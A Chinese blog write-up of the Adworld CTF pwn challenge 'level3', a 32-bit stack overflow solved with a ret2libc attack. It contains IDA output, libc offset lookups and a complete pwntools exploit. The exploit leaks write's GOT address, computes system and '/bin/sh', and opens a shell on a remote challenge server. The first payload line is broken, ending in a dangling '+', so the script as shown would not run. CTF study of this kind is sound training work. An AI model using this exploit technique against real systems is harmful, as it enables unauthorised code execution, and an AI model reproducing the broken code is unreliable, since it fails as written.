攻防世界 level3

原创

Nathan-Yang 于 2020-10-03 19:32:32 发布 1080 收藏 6
分类专栏： pwn

1.题目

2.IDA分析

```
int __cdecl main(int argc, const char **argv, const char **envp)
{
  vulnerable_function();
  write(1, "Hello, World!\n", 0xEu);
  return 0;
}
```

```
ssize_t vulnerable_function()
{
  char buf; // [esp+0h] [ebp-88h]

  write(1, "Input:\n", 7u);
  return read(0, &buf, 0x100u);
}
```

Function name	Segment	Start	Length	Locals
_init_proc	.init	080482D0	00000023	0000000C
sub_8048300	.plt	08048300	0000000C	
_read	**.plt**	**08048310**	**00000006**	**00000000**
___gmon_start__	.plt	08048320	00000006	
___libc_start_main	**.plt**	**08048330**	**00000006**	**00000000**
_write	**.plt**	**08048340**	**00000006**	**00000000**
_start	.text	08048350	00000022	
__x86_get_pc_thunk_bx	.text	08048380	00000004	00000000
deregister_tm_clones	.text	08048390	0000002B	00000000
register_tm_clones	.text	080483C0	00000035	00000000
__do_global_dtors_aux	.text	08048400	0000001E	00000000
frame_dummy	.text	08048420	0000002B	00000000
vulnerable_function	.text	0804844B	00000039	0000008C
main	**.text**	**08048484**	**00000037**	**0000000C**
__libc_csu_init	.text	080484C0	0000005D	00000010
__libc_csu_fini	.text	08048520	00000002	00000000
_term_proc	.fini	08048524	00000014	0000000C
read	**extern**	**0804A02C**	**00000004**	**00000000**
__libc_start_main	**extern**	**0804A030**	**00000004**	
write	**extern**	**0804A034**	**00000004**	**00000000**
__gmon_start__	extern	0804A038	00000004	

3.流程分析

流程很简单，直接输入一串字符，然后结束。从IDA反汇编成C程序代码看，read方法这里存在明显的栈溢出。但这道题的真正难点在于，程序本身没有可用的函数（system函数），也没有可用的函数参数（“/bin/sh”）。也没有更多的输入点给我们利用。但是题目给了我们一个动态库，意思很明显，就是利用动态库的方法和参数。

首先，使用 strings -at x libc_32.so.6 | grep bin/sh 查看动态库是否存在我们需要的字符串以及它在库中的相对位置。

```
15902b /bin/sh
```

执行结果告诉我们，“/bin/sh”存在且相对位置为：0x15902b

使用 readelf -s libc_32.so.6 | grep write 查询动态库是否存在write方法以及它的相对位置

```
   109: 00063880   406 FUNC    GLOBAL DEFAULT   13 _IO_wdo_write@@GLIBC_2.2
   184: 000d43c0   101 FUNC    WEAK   DEFAULT   13 __write@@GLIBC_2.0
   308: 0011ee00    44 FUNC    GLOBAL DEFAULT   13 _IO_do_write@GLIBC_2.0
   309: 000694d0    44 FUNC    GLOBAL DEFAULT   13 _IO_do_write@@GLIBC_2.1
   525: 000e62b0    56 FUNC    GLOBAL DEFAULT   13 process_vm_writev@@GLIBC_2.15
   527: 000d28d0   157 FUNC    WEAK   DEFAULT   13 __pwrite64@@GLIBC_2.1
   916: 000dd6b0   101 FUNC    WEAK   DEFAULT   13 writev@@GLIBC_2.0
  1344: 000d2780   165 FUNC    GLOBAL DEFAULT   13 __libc_pwrite@@GLIBC_PRIVATE
  1634: 000dd880   181 FUNC    GLOBAL DEFAULT   13 pwritev@@GLIBC_2.10
  1690: 000e5770    50 FUNC    GLOBAL DEFAULT   13 eventfd_write@@GLIBC_2.7
  1705: 0005e210   404 FUNC    WEAK   DEFAULT   13 fwrite@@GLIBC_2.0
  1996: 000dd940   157 FUNC    GLOBAL DEFAULT   13 pwritev64@@GLIBC_2.10
  2159: 0011e830   106 FUNC    GLOBAL DEFAULT   13 _IO_file_write@GLIBC_2.0
  2163: 00068460   172 FUNC    GLOBAL DEFAULT   13 _IO_file_write@@GLIBC_2.1
  2184: 0005e210   404 FUNC    GLOBAL DEFAULT   13 _IO_fwrite@@GLIBC_2.0
  2205: 000d2780   165 FUNC    WEAK   DEFAULT   13 pwrite@@GLIBC_2.1
  2267: 000673c0   144 FUNC    GLOBAL DEFAULT   13 fwrite_unlocked@@GLIBC_2.1
  2276: 000d28d0   157 FUNC    WEAK   DEFAULT   13 pwrite64@@GLIBC_2.1
  2323: 000d43c0   101 FUNC    WEAK   DEFAULT   13 write@@GLIBC_2.0
```


write函数存在，且位置为：0xd43c0.

所以，“/bin/sh”与write函数的相对距离为：rela_sh=0x15902b - 0xd43c0 = 0x84c6b.同样也可以得到system方法与write方法的相对距离rela_sys.

获取到两个相对距离后，现在的问题变成，怎么获取write方法链接装载后的地址。

于是思路为：通过栈溢出执行write方法，把write方法的地址作为参数输出出来，获取到输出后，重新回到main函数执行，然后再次来到read方法，再次溢出执行system方法。exp如下：

```
from pwn import *

#io = process("./level3")
io = remote('220.249.52.133', 50568)

elf = ELF('./level3/level3')
elf_lic = ELF('./level3/libc_32.so.6')

rela_sys = elf_lic.symbols['write'] - elf_lic.symbols['system']
rela_bash = 0x84c6b

payload = 'a' * 0x8c + p32(elf.plt['write']) + p32(elf.symbols['main']) + p32(1) + p32(elf.got['write']) +

io.sendlineafter("Input:\n",payload)
addr_write = u32(io.recv()[:4])
addr_sys = addr_write - rela_sys
addr_bash = addr_write + rela_bash


payload = 'a' * 0x8c + p32(addr_sys) + 'a' * 4 + p32(addr_bash)
io.sendlineafter("Input:\n",payload)

io.interactive()
```

然后说一下个人对symbols的理解：symbols就是函数的调用地址，对于在程序内部的方法，symbols地址就是方法的入口地址，对于外部通过动态链接的方法，symbols地址就是其plt地址，它真正的入口地址在got表中（第二次调用及以上）。